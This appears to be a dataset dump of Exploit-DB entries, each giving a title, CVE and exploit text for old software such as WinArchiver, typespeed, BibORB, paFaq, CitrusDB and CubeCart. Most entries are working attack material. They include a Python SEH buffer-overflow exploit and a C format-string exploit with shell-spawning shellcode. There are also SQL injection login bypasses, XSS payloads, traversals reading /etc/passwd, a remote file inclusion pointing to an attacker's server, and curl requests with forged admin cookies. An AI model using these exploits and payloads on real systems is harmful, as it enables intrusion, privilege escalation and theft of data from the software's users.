QLWD/code_shield huggingface dataset:
标题: WinArchiver 3.2 - Local Buffer Overflow (SEH) EDB-ID: 25131 CVE: 2013-5660 类型: LOCAL 平台: WINDOWS 发布日期: 2013-05-01 漏洞利用脚本: #/usr/bin/python
# Exploit Title: Winarchiver V 3.2 SEH Overflow
# Date: April 24, 2013
# Exploit Author: Josep Pi Rodriguez, Pedro Guillen Nunez , Miguel Angel de Castro Simon
# Organization: RealPentesting 
# Vendor Homepage: http://winarchiver.com
# Software Link: http://www.winarchiver.com/WinArchiver3.exe
# Version: 3.2 
# Tested on: Windows XP SP3

# Exploit-DB Note:
# This submission needs tweaking but a crash does occur 

zip_header = (
"\x50\x4B\x03\x04\x0A\x00\x04\x02\x00\x00\xE5\x18\xE9\x3E\xCC\xD4"
"\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00\x00\x08\x00\x00\x00\x54\x65"
"\x73\x74\x2E\x74\x78\x74\x54\x68\x69\x73\x20\x69\x73\x20\x61\x20"
"\x74\x65\x73\x74\x21\x50\x4B\x01\x02\x14\x00\x0A\x00\x40\x00\x00"
"\x00\xE5\x18\xE9\x3E\xCC\xD4\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00"
"\x00\xBE\x20\x00\x00\x00\x00\x00\x00\x01\x00\x3D\xAC\xBD\x04\x00"
"\x00\x00\x00"
)
zip_final=(
"\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\xEC\x20\x00"
"\x00\x35\x00\x00\x00\x00\x00"
)
seh = "\x31\x48" #ppr 0x00480031
nextseh = "\x58\x70"
venetian = (
"\x55\x55"
"\x70"
"\x58"
"\x70"
"\x05\x25\x11"
"\x55"
"\x2d\x19\x11"
"\x55"
"\x50"
"\x55"
"\xc7"
)
shellcode = (
"PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1"
"AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLJHDIM0KPM030SYK5P18RQTDK1BNPDK0RLLTKB2MDDKS"
"BO8LO870JMVNQKOP1I0VLOLQQCLLBNLO091HOLMKQ7WZBL0220W4KQBLPTKOROLKQZ0TKOPRX55WPRTPJKQXP0P"
"TKOXLXDKQHO0M1J39SOLQ9DKNT4KM1Z601KONQGPFLGQXOLMM197NXIP2UZTLC3MJXOKCMND2UZBPXTK1HO4KQJ"
"3QVDKLLPKTKB8MLKQJ3TKM4TKKQZ04IOTMTMTQK1KQQQI1JPQKOK0PX1OQJ4KLRJKSVQM1XNSNRM0KPBHD7T3P2"
"QOR4QXPL2WO6KWKOHUVXDPKQKPKPNIGTQDPPS8MYU0RKM0KOZ5PPPP20PPQ0PPOPPPQXYZLO9OK0KOYEU9Y7NQY"
"K0SQXKRM0LQ1L3YJFQZLPQFR7QX7RIK07QWKOJ5PSPWS86WIYNXKOKOXUR3R3R7QXD4JLOKYQKOJ5B73YHGBH45"
"2NPM31KOXUQXC3RMC4M0CYYS1GQGR701ZV2JLRR90VK2KMQVY7OTMTOLKQM1TMOTMTN0I6KPPD1DPPQF261FQ6B"
"60N26R6PSR6RHRYHLOODFKOIE3YYPPNPVOVKONP38KXTGMM1PKOJ5WKJP6UERB6QX6FTUWMUMKOZ5OLM6SLLJ3P"
"KKK045M5WKQ7N3RRRORJM0QCKOHUA"
)
buffer =  "\x41" * (205+216) + shellcode + "\x41" * (2000-216-len(shellcode)) + nextseh + seh + venetian + "\x42" * (6173-len(venetian))
print len(buffer)
payload = buffer
mefile = open('seh_winarch.zip','w')
mefile.write(zip_header + buffer + zip_final)
mefile.close() URL: https://www.exploit-db.com/exploits/25131
标题: TrackerCam 5.12 - 'ComGetLogFile.php3?fm' Traversal Arbitrary File Access EDB-ID: 25123 CVE: 2005-0479 类型: WEBAPPS 平台: PHP 发布日期: 2005-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/12592/info

TrackerCam is prone to multiple remote vulnerabilities, including buffer-overflow issues, a directory-traversal issue, an information-disclosure issue, an HTML-injection issue, and denial-of-service issues.

A remote attacker could exploit these issues to execute arbitrary code, obtain potentially sensitive information, launch phishing attacks or steal cookie based authentication credentials, and deny service to legitimate users. 

http://www.example.com:8090/MessageBoard/messages.php?aaaaaaaaaaa[256]aaaa
http://www.example.com:8090/tuner/ComGetLogFile.php3?fn=../../../../windows/system.ini
http://www.example.com:8090/tuner/ComGetLogFile.php3?fn=Eye2005_02.log URL: https://www.exploit-db.com/exploits/25123
标题: BibORB 1.3.2 Login Module - Multiple SQL Injections EDB-ID: 25121 CVE: 2005-0252 类型: WEBAPPS 平台: PHP 发布日期: 2005-02-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/12583/info
   
   
BibORB is reported prone to multiple vulnerabilities arising from insufficient sanitization of user-supplied input. These issues can be exploited by a remote attacker to carry out cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload attacks.
   
These vulnerabilities are reported to affect BibORB version 1.3.2 and all previous versions. 

When logging in, use the following username and password:

Username: x' or 1=1 or login='x
Password: x') or 1=1 or password=md5('x URL: https://www.exploit-db.com/exploits/25121
标题: BibORB 1.3.2 - Add Database 'Description' Cross-Site Scripting EDB-ID: 25119 CVE: 2005-0251 类型: WEBAPPS 平台: PHP 发布日期: 2005-02-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/12583/info
 
 
BibORB is reported prone to multiple vulnerabilities arising from insufficient sanitization of user-supplied input. These issues can be exploited by a remote attacker to carry out cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload attacks.
 
These vulnerabilities are reported to affect BibORB version 1.3.2 and all previous versions. 

Add Database -> Description: <script>alert('XSS')</script> URL: https://www.exploit-db.com/exploits/25119
标题: Thomson TCW690 Cable Modem ST42.03.0a - GET Denial of Service EDB-ID: 25124 CVE: 2003-1085 类型: DOS 平台: HARDWARE 发布日期: 2005-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/12595/info

Thomson TCW690 cable modem is reported prone to multiple remote vulnerabilities. These issues may allow an attacker to cause a denial of service condition and/or gain unauthorized access to the device.

The following specific issues were identified:

The device is reported prone to a partial denial of service condition that results from a boundary condition error. Reportedly, a successful attack can cause the device to fail to process requests for a limited period of time. This issue may be related to BID 9091 (Thomson Cable Modem Remote Denial Of Service Vulnerability).

Another vulnerability affecting the modem can allow attackers to gain unauthorized access to the device. It is reported that the device does not properly verify users' authentication credentials when handling an HTTP POST request.

Thomson TCW690 with firmware version ST42.03.0a is reported vulnerable to these issues. It is possible that other versions are affected as well. 

http://www.example.com/AAAA[about 2000 A's]AAA URL: https://www.exploit-db.com/exploits/25124
标题: PMachine Pro 2.4 - Remote File Inclusion EDB-ID: 25127 CVE: 2005-0513 类型: WEBAPPS 平台: PHP 发布日期: 2005-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/12597/info

PMachine Pro is reported prone to a remote file include vulnerability.

This issue affects the 'mail_autocheck.php' script.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This will facilitate unauthorized access.

The latest version (2.4) of pMachine Pro is reported vulnerable. It is possible that other versions are affected as well. 

http://www.example.com/pMachine/pm/add_ons/mail_this_entry/mail_autocheck.php?pm_path=http://attackers-webserver/malicious-code.php? URL: https://www.exploit-db.com/exploits/25127
标题: paFaq beta4 - 'answer.php?offset' SQL Injection EDB-ID: 25115 CVE: 2005-0475 类型: WEBAPPS 平台: PHP 发布日期: 2005-02-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/12582/info
 
paFaq is reportedly affected by an SQL injection vulnerability. This issue exists because the application fails to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
This vulnerability is reported to affect paFaq beta4; earlier versions may also be affected. 

http://www.example.com/index.php?act=Answer&cid=1&id=1&offset=' URL: https://www.exploit-db.com/exploits/25115
标题: paFaq beta4 - 'comment.php' Multiple SQL Injections EDB-ID: 25117 CVE: 2005-0475 类型: WEBAPPS 平台: PHP 发布日期: 2005-02-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/12582/info
  
paFaq is reportedly affected by an SQL injection vulnerability. This issue exists because the application fails to properly sanitize user-supplied input before using it in SQL queries.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
  
This vulnerability is reported to affect paFaq beta4; earlier versions may also be affected. 

http://www.example.com/index.php?act=Speak&code=05&poster=1&name=2&question=3&email=4&cat_id='
http://www.example.com/index.php?act=Speak&code=02&cid='&id=1&poster=1&name=2&answer=3&email=4
http://www.example.com/index.php?act=Speak&code=02&cid=1&id='&poster=1&name=2&answer=3&email=4 URL: https://www.exploit-db.com/exploits/25117
标题: BibORB 1.3.2 - 'bibindex.php?search' Cross-Site Scripting EDB-ID: 25118 CVE: 2005-0251 类型: WEBAPPS 平台: PHP 发布日期: 2005-02-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/12583/info


BibORB is reported prone to multiple vulnerabilities arising from insufficient sanitization of user-supplied input. These issues can be exploited by a remote attacker to carry out cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload attacks.

These vulnerabilities are reported to affect BibORB version 1.3.2 and all previous versions. 

http://www.example.com/biborb/bibindex.php?mode=displaysearch&search=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&sort=ID URL: https://www.exploit-db.com/exploits/25118
标题: paFaq beta4 - 'search.php?search_item' SQL Injection EDB-ID: 25116 CVE: 2005-0475 类型: WEBAPPS 平台: PHP 发布日期: 2005-02-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/12582/info
 
paFaq is reportedly affected by an SQL injection vulnerability. This issue exists because the application fails to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
This vulnerability is reported to affect paFaq beta4; earlier versions may also be affected. 

http://www.example.com/index.php?act=Search&code=01&search_item=' URL: https://www.exploit-db.com/exploits/25116
标题: paFaq beta4 - 'question.php' Multiple SQL Injections EDB-ID: 25114 CVE: 2005-0475 类型: WEBAPPS 平台: PHP 发布日期: 2005-02-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/12582/info

paFaq is reportedly affected by an SQL injection vulnerability. This issue exists because the application fails to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

This vulnerability is reported to affect paFaq beta4; earlier versions may also be affected. 

http://www.example.com/index.php?act=Question&id=1&limit=10&orderby=q_id&order=DESC&offset='
http://www.example.com/index.php?act=Question&id=1&orderby=q_id&order=DESC&limit='
http://www.example.com/index.php?act=Question&id=1&orderby=q_id&order='&limit=10
http://www.example.com/index.php?act=Question&id=1&orderby='&order=DESC&limit=10 URL: https://www.exploit-db.com/exploits/25114
标题: CitrusDB 0.3.6 - Arbitrary Local PHP File Inclusion EDB-ID: 25104 CVE: 2005-0411 类型: WEBAPPS 平台: PHP 发布日期: 2005-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/12564/info

CitrusDB is reportedly affected by a vulnerability that permits the inclusion of any local PHP file. This issue is due to the application failing to properly sanitize user-supplied input.

This issue is reported to affect CitrusDB 0.3.6; earlier versions may also be affected.

This issue may also allow remote file includes, although this has not been confirmed. 

http://www.example.com/citrusdb/tools/index.php?load=../../../../../../tmp/exploit.php URL: https://www.exploit-db.com/exploits/25104
标题: Microsoft ASP.NET 1.0/1.1 - Unicode Character Conversion Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 25110 CVE: 2005-0452 类型: WEBAPPS 平台: ASP 发布日期: 2005-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/12574/info

It is reported that ASP.NET is prone to various cross-site scripting attacks. These issues when ASP.NET converts Unicode characters ranging from U+ff00-U+ff60 to ASCII.

Apparently, the application fails to properly validate Unicode characters allowing an attacker to craft a malicious link containing arbitrary HTML or script code to be executed in a user's browser.

This can facilitate theft of cookie-based credentials and other attacks.

http://www.example.com/attack1.aspx?test=%uff1cscript%uff1ealert('vulnerability')%uff1c/script%uff1e URL: https://www.exploit-db.com/exploits/25110
标题: Typespeed 0.4.1 - Local Format String EDB-ID: 25106 CVE: 2005-0105 类型: LOCAL 平台: LINUX 发布日期: 2005-02-16 漏洞利用脚本: // source: https://www.securityfocus.com/bid/12569/info

typespeed is prone to a local format string vulnerability. Successful could allow privilege escalation. 

/*

Proof of Concept local exploit for typespeed tool

"enva" content:

*********************************************
#include <stdio.h>
#include <string.h>
  int main(int argc, char *argv[])
  {
  char *addr_ptr = NULL;
  addr_ptr = getenv(argv[1]);
  printf("%s @ %p\n", argv[1], addr_ptr);
  return 0;
  }
*********************************************

*/

#include <stdio.h>
#define offset 2
#define var (0x08050288+0x4)

char shellcode[] = 
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80"
"\x31\xc0\xb0\x01\xcd\x80";

int main(int argc, char *argv[])
{
char *addr[3] = { ((char *)var +2),
    ((char *)var),
  };

char buffer[1024];
int high, low;
long target;

target = 0xbffff950;

high = (target & 0xffff0000) >> 16;
low = (target & 0x0000ffff);

high -= 0x8;
sprintf(buffer, "%s%%.%dx%%%d$hn%%.%dx%%%d$hn", 
  &addr,
  high,
  offset,
  (low - high)-0x8,
  offset+1);
memset(buffer+strlen(buffer), 0x41, 32);

setenv("HOME", buffer, 1);
setenv("SHELLCODE", shellcode, 1);
system("./enva SHELLCODE");
system("./typespeed");
} URL: https://www.exploit-db.com/exploits/25106
标题: CitrusDB 0.3.6 - Remote Authentication Bypass EDB-ID: 25102 CVE: 2005-0408 类型: WEBAPPS 平台: PHP 发布日期: 2004-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/12560/info

CitrusDB is reportedly affected by an authentication bypass vulnerability. This issue is due to the application using a static value during the creation of user cookie information.

An attacker could exploit this vulnerability to log in as any existing user, including the 'admin' account.

This issue is reported to affect CitrusDB 0.3.6; earlier versions may also be affected. 

curl -D - --cookie "id_hash=4b3b2c8666298ae9771e9b3d38c3f26e;
user_name=admin" http://www.example.com/citrusdb/tools/index.php URL: https://www.exploit-db.com/exploits/25102
标题: Brooky CubeCart 2.0.1/2.0.4 - 'index.php?language' Cross-Site Scripting EDB-ID: 25097 CVE: 2005-0443 类型: WEBAPPS 平台: PHP 发布日期: 2005-02-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/12549/info

Brooky CubeCart is reported prone to multiple vulnerabilities. These issues result from insufficient sanitization of user-supplied data and may allow remote attackers to disclose arbitrary files and carry out cross-site scripting attacks.

The application is reportedly susceptible to a remote directory traversal vulnerability. A malicious user could issue a request containing directory traversal strings such as '../' to possibly view files outside the server root directory in the context of the server.

The application is also prone to a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input. This may allow for theft of cookie-based authentication credentials or other attacks.

CubeCart 2.0.4 and prior versions are considered to be vulnerable to these issues. 

http://www.example.com/index.php?&language=<script>var%20test_variable=31
337;alert(test_variable);</script> URL: https://www.exploit-db.com/exploits/25097
标题: CitrusDB 0.3.6 - 'importcc.php' CSV File SQL Injection EDB-ID: 25101 CVE: 2005-0410 类型: WEBAPPS 平台: PHP 发布日期: 2005-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/12557/info
  
CitrusDB is reportedly affected by an access validation vulnerability during the upload of CSV files. Exploitation of this issue could result in path disclosure or SQL injection. The issue exists because the application fails to verify user credentials during file upload and import.
  
These issues are reported to affect CitrusDB 0.3.6; earlier versions may also be affected.

THe following proof of concept demonstrates the SQL injection vulnerability:
Reportedly supplying ',,,,, as the contents of the uploaded csv file will make the SQL query in './citrusdb/tools/importcc.php' fail. URL: https://www.exploit-db.com/exploits/25101
标题: CitrusDB 0.3.6 - 'uploadcc.php' Arbitrary Database Injection EDB-ID: 25100 CVE: 2005-0409 类型: WEBAPPS 平台: PHP 发布日期: 2005-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/12557/info
 
CitrusDB is reportedly affected by an access validation vulnerability during the upload of CSV files. Exploitation of this issue could result in path disclosure or SQL injection. The issue exists because the application fails to verify user credentials during file upload and import.
 
These issues are reported to affect CitrusDB 0.3.6; earlier versions may also be affected.

curl -D - --cookie "id_hash=2378c7b70e77d9c6737d697a46cbe34b;
user_name=testor" http://<target>/citrusdb/tools/uploadcc.php --form
userfile=@exploit.csv --form Import=Import URL: https://www.exploit-db.com/exploits/25100
标题: PHP-Fusion 4.0 - 'Viewthread.php' Information Disclosure EDB-ID: 25089 CVE: 2005-0345 类型: WEBAPPS 平台: PHP 发布日期: 2005-02-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/12482/info

PHP-Fusion is reportedly affected by an information disclosure vulnerability. This issue is due to the application failing to properly sanitize user-supplied input.

It is reported that an attacker could leverage this vulnerability to view any thread of protected forums on an affected version of the application. All PHP-Fusion 4 versions are reportedly affected by this vulnerability; earlier versions may also be vulnerable. 

http://www.example.com/fusion_forum/viewthread.php?forum_id=10000&forum_cat=100000&thread_id=2 URL: https://www.exploit-db.com/exploits/25089
标题: Brooky CubeCart 2.0.1/2.0.4 - 'index.php?language' Traversal Arbitrary File Access EDB-ID: 25098 CVE: 2005-0442 类型: WEBAPPS 平台: PHP 发布日期: 2005-02-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/12549/info
 
Brooky CubeCart is reported prone to multiple vulnerabilities. These issues result from insufficient sanitization of user-supplied data and may allow remote attackers to disclose arbitrary files and carry out cross-site scripting attacks.
 
The application is reportedly susceptible to a remote directory traversal vulnerability. A malicious user could issue a request containing directory traversal strings such as '../' to possibly view files outside the server root directory in the context of the server.
 
The application is also prone to a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input. This may allow for theft of cookie-based authentication credentials or other attacks.
 
CubeCart 2.0.4 and prior versions are considered to be vulnerable to these issues. 

http://www.example.com/index.php?&language=../../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/25098
标题: CitrusDB 0.3.6 - 'importcc.php' Arbitrary Database Injection EDB-ID: 25099 CVE: 2005-0409 类型: WEBAPPS 平台: PHP 发布日期: 2005-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/12557/info

CitrusDB is reportedly affected by an access validation vulnerability during the upload of CSV files. Exploitation of this issue could result in path disclosure or SQL injection. The issue exists because the application fails to verify user credentials during file upload and import.

These issues are reported to affect CitrusDB 0.3.6; earlier versions may also be affected.


curl -D - --cookie "id_hash=2378c7b70e77d9c6737d697a46cbe34b;
user_name=testor"
"http://<target>/citrusdb/tools/index.php?load=importcc&submit=on" URL: https://www.exploit-db.com/exploits/25099
标题: Software602 602 Lan Suite 2004 2004.0.04.1221 - Arbitrary File Upload EDB-ID: 25092 CVE: 2005-0344 类型: REMOTE 平台: WINDOWS 发布日期: 2005-02-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/12495/info

602 Lan Suite 2004 is reportedly affected by a vulnerability regarding the uploading of file attachments. This issue is due to the application failing to properly sanitize the names of file attachments before upload. A malicious user could exploit this vulnerability using directory traversal attacks to upload a file to an arbitrary location accessible by the affected server.

This vulnerability could lead to the execution of a malicious file on the server hosting the application.

602 Lan Suite 2004 version 2004.0.04.1221 is reportedly vulnerable; other versions may also be affected. 

POST /mail HTTP/1.0
Host: localhost
Content-Type: multipart/form-data; boundary=---------------------------287661860715985
Content-length: 540

-----------------------------287661860715985
Content-Disposition: form-data; name="U"

6E13745843714258F86310B04D7
-----------------------------287661860715985
Content-Disposition: form-data; name="A"

ATTACHMENTS
-----------------------------287661860715985
Content-Disposition: form-data; name="FILENAME"; filename="../../../cgi-bin/a.txt"
Content-Type: text/plain

Test File
-----------------------------287661860715985
Content-Disposition: form-data; name="ATTACH"

Attach
-----------------------------287661860715985-- URL: https://www.exploit-db.com/exploits/25092
标题: Microsoft Outlook 2003 - Web Access Login Form Remote URI redirection EDB-ID: 25084 CVE: 2005-0420 类型: WEBAPPS 平台: ASP 发布日期: 2005-02-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/12459/info

A remote URI-redirection vulnerability affects Microsoft Outlook Web Access. This issue occurs because the application fails to properly sanitize URI-supplied data.

An attacker may leverage this issue to carry out convincing phishing attacks against unsuspecting users by causing an arbitrary page to be loaded when the Microsoft Outlook Web Access login form is submitted. 

https://owa.example.com/exchweb/bin/auth/owalogon.asp?url=http://www.example.net
https://owa.example.com/exchweb/bin/auth/owalogon.asp?url=http://3221234342/ URL: https://www.exploit-db.com/exploits/25084
标题: Newsgrab 0.5.0pre4 - Multiple Local/Remote Vulnerabilities EDB-ID: 25080 CVE: 2005-0153 类型: REMOTE 平台: LINUX 发布日期: 2005-02-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/12428/info

Newsgrab is reported prone to multiple vulnerabilities. The following individual issues are reported:

Newsgrab is reported prone to a directory traversal vulnerability. This vulnerability exists because the software does not sufficiently sanitize directory traversal sequences from filenames before the filename is employed to store the file onto disk.

A remote attacker may exploit this vulnerability by supplying a malicious file to a target victim. This vulnerability has been assigned the CVE identifier CAN-2005-0153.

Newsgrab is reported prone to an unspecified insecure permissions vulnerability.

A local attacker may exploit this vulnerability to disclose potentially sensitive information that is contained in files that were downloaded using newsgrab. This vulnerability has been assigned the CVE identifier CAN-2005-0154. 

A file containing the name '../../../../etc/rc.local' and the mode 777 could cause newsgrab to drop the file at /etc/rc.local with 777 permissions. URL: https://www.exploit-db.com/exploits/25080